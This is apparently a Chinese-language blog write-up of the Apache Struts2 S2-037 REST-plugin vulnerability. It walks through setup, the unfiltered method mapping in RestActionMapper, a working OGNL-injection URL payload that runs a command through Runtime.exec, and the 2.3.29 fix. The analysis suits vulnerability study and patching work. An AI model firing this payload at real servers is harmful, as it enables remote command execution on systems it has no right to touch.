前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
跟 S2-032 同原理,是 S2-033 的进化版本,不需要开启 DynamicMethodInvocation。
环境搭建
2.3.28.1 版本的 struts2 + Tomcat 9。
用 maven 安装依赖:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-rest-plugin</artifactId>
<version>2.3.28.1</version>
</dependency>
漏洞分析
类似 S2-032 如果能想 mapping 中 set 一个未经过滤的字符串作为表达式,我们就可以实现命令执行。
阅读 RestActionMapper 类的 getMapping 函数,可以看到这里有很多 setMethod,比如:
String fullName = mapping.getName();
// Only try something if the action name is specified
if (fullName != null && fullName.length() > 0) {
// cut off any ;jsessionid= type appendix but allow the rails-like ;edit
int scPos = fullName.indexOf(';');
if (scPos > -1 && !"edit".equals(fullName.substring(scPos + 1))) {
fullName = fullName.substring(0, scPos);
}
int lastSlashPos = fullName.lastIndexOf('/');
String id = null;
if (lastSlashPos > -1) {
// fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
//WW-4589 do not overwrite explicit method name
if (prevSlashPos > -1 && mapping.getMethod() == null) {
mapping.setMethod(fullName.substring(lastSlashPos + 1));
fullName = fullName.substring(0, lastSlashPos);
lastSlashPos = prevSlashPos;
}
id = fullName.substring(lastSlashPos + 1);
}
...
}
这些函数调用都没有对输入参数进行过滤。
漏洞利用
在进入 getMapping 函数的 setMethod 之前,还有一个 dropExtension 的函数调用,用于处理 URI 后缀并返回:
protected String dropExtension(String name, ActionMapping mapping) {
if (extensions == null) {
return name;
}
for (String ext : extensions) {
if ("".equals(ext)) {
// This should also handle cases such as /foo/bar-1.0/description. It is tricky to
// distinquish /foo/bar-1.0 but perhaps adding a numeric check in the future could
// work
int index = name.lastIndexOf('.');
if (index == -1 || name.indexOf('/', index) >= 0) {
return name;
}
} else {
String extension = "." + ext;
if (name.endsWith(extension)) {
name = name.substring(0, name.length() - extension.length());
mapping.setExtension(ext);
return name;
}
}
}
return null;
}
所以 S2-032 的 payload 需要稍加修改,而且 2.3.28.1 版本的 OGNL 禁止了逗号和括号执行多条表达式,所以要换个办法,payload:
http://localhost:8080/login/method/((%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)-(@java.lang.Runtime@getRuntime().exec(%23parameters.c%5b0%5d))).toString.xhtml?c=calc
漏洞修复
2.3.29 的修复,DefaultActionInvocation 类的 invokeAction 方法里解析表达式的函数改变了,从 getValue:
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
变成了 callMethod:
methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);
而 callMethod 中调用的是 compileAndExecuteMethod,会有 isSimpleMethod 函数的校验:
private boolean isSimpleMethod(Object tree, Map<String, Object> context) throws OgnlException {
if (tree instanceof SimpleNode) {
SimpleNode node = (SimpleNode) tree;
OgnlContext ognlContext = null;
if (context!=null && context instanceof OgnlContext) {
ognlContext = (OgnlContext) context;
}
return node.isSimpleMethod(ognlContext) && !node.isChain(ognlContext);
}
return false;
}
用于检查调用的方法是否是单独的方法调用,@ 和 . 这种链式调用就被禁止了。
参考文章:
http://blog.nsfocus.net/struts2-s2-037-vulnerability-analysis/